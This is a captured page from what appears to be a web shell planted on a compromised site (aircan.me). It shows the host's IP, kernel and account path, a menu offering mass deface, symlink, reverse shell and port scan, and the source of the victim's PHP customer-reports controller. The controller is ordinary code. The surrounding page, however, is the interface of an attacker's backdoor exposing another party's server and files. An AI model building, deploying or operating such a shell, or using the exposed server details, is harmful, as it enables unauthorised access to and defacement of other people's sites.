Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
controllers
/
Viewing: CustomerReportsController.php
<?php class CustomerReportsController { private function ensureCsrfToken(): string { if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf']; } private function validateCsrf(string $token): bool { return hash_equals($_SESSION['csrf'] ?? '', $token); } private function redirectToCustomer(int $customerId): void { header('Location: ' . BASE_URL . '?route=clientes.show&id=' . $customerId); exit; } private function normalizeReportedAt(string $input, array &$errors): ?string { $input = trim($input); if ($input === '') { $errors[] = 'La fecha y hora del reporte es obligatoria.'; return null; } $formats = ['Y-m-d\TH:i', 'Y-m-d\TH:i:s', 'Y-m-d H:i', 'Y-m-d H:i:s']; $parsed = null; foreach ($formats as $fmt) { $dt = DateTime::createFromFormat($fmt, $input); if ($dt instanceof DateTime) { $parsed = $dt; break; } } if (!$parsed) { $errors[] = 'La fecha y hora del reporte no tienen un formato válido.'; return null; } return $parsed->format('Y-m-d H:i:s'); } public function store(): void { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { redirect('clientes.index'); } $csrf = $_POST['csrf'] ?? ''; if (!$this->validateCsrf($csrf)) { $_SESSION['flash_error'] = 'Sesión inválida. Intenta nuevamente.'; redirect('clientes.index'); } $customerId = (int)($_POST['customer_id'] ?? 0); if ($customerId <= 0) { $_SESSION['flash_error'] = 'Cliente inválido.'; redirect('clientes.index'); } $customer = Customer::findById($customerId); if (!$customer) { $_SESSION['flash_error'] = 'Cliente no encontrado.'; redirect('clientes.index'); } $errors = []; $reportedAt = $this->normalizeReportedAt($_POST['reported_at'] ?? '', $errors); $observations = trim((string)($_POST['observations'] ?? '')); if ($observations === '') { $errors[] = 'Las observaciones son obligatorias.'; } if (mb_strlen($observations) > 2000) { $errors[] = 'Las observaciones no pueden exceder 2000 caracteres.'; } if (!empty($errors)) { $_SESSION['flash_error'] = implode("\n", $errors); $this->redirectToCustomer($customerId); } try { CustomerReport::create([ 'customer_id' => $customerId, 'reported_at' => $reportedAt, 'observations' => $observations, ]); $_SESSION['flash_success'] = 'Reporte creado correctamente.'; } catch (Throwable $e) { $_SESSION['flash_error'] = 'No se pudo crear el reporte.'; } $this->redirectToCustomer($customerId); } public function update(): void { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { redirect('clientes.index'); } $csrf = $_POST['csrf'] ?? ''; if (!$this->validateCsrf($csrf)) { $_SESSION['flash_error'] = 'Sesión inválida. Intenta nuevamente.'; redirect('clientes.index'); } $reportId = (int)($_POST['id'] ?? 0); $customerId = (int)($_POST['customer_id'] ?? 0); if ($reportId <= 0 || $customerId <= 0) { $_SESSION['flash_error'] = 'Datos inválidos.'; redirect('clientes.index'); } $report = CustomerReport::findById($reportId); if (!$report) { $_SESSION['flash_error'] = 'Reporte no encontrado.'; $this->redirectToCustomer($customerId); } if ((int)$report['customer_id'] !== $customerId) { $_SESSION['flash_error'] = 'El reporte no pertenece al cliente especificado.'; $this->redirectToCustomer($customerId); } $errors = []; $reportedAt = $this->normalizeReportedAt($_POST['reported_at'] ?? '', $errors); $observations = trim((string)($_POST['observations'] ?? '')); if ($observations === '') { $errors[] = 'Las observaciones son obligatorias.'; } if (mb_strlen($observations) > 2000) { $errors[] = 'Las observaciones no pueden exceder 2000 caracteres.'; } if (!empty($errors)) { $_SESSION['flash_error'] = implode("\n", $errors); $this->redirectToCustomer($customerId); } try { CustomerReport::update($reportId, [ 'reported_at' => $reportedAt, 'observations' => $observations, ]); $_SESSION['flash_success'] = 'Reporte actualizado correctamente.'; } catch (Throwable $e) { $_SESSION['flash_error'] = 'No se pudo actualizar el reporte.'; } $this->redirectToCustomer($customerId); } public function delete(): void { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { redirect('clientes.index'); } $csrf = $_POST['csrf'] ?? ''; if (!$this->validateCsrf($csrf)) { $_SESSION['flash_error'] = 'Sesión inválida. Intenta nuevamente.'; redirect('clientes.index'); } $reportId = (int)($_POST['id'] ?? 0); $customerId = (int)($_POST['customer_id'] ?? 0); if ($reportId <= 0 || $customerId <= 0) { $_SESSION['flash_error'] = 'Datos inválidos.'; redirect('clientes.index'); } $report = CustomerReport::findById($reportId); if (!$report) { $_SESSION['flash_error'] = 'Reporte no encontrado.'; $this->redirectToCustomer($customerId); } if ((int)$report['customer_id'] !== $customerId) { $_SESSION['flash_error'] = 'El reporte no pertenece al cliente especificado.'; $this->redirectToCustomer($customerId); } try { CustomerReport::delete($reportId); $_SESSION['flash_success'] = 'Reporte eliminado correctamente.'; } catch (Throwable $e) { $_SESSION['flash_error'] = 'No se pudo eliminar el reporte.'; } $this->redirectToCustomer($customerId); } }
Coded With 💗 by
0x6ick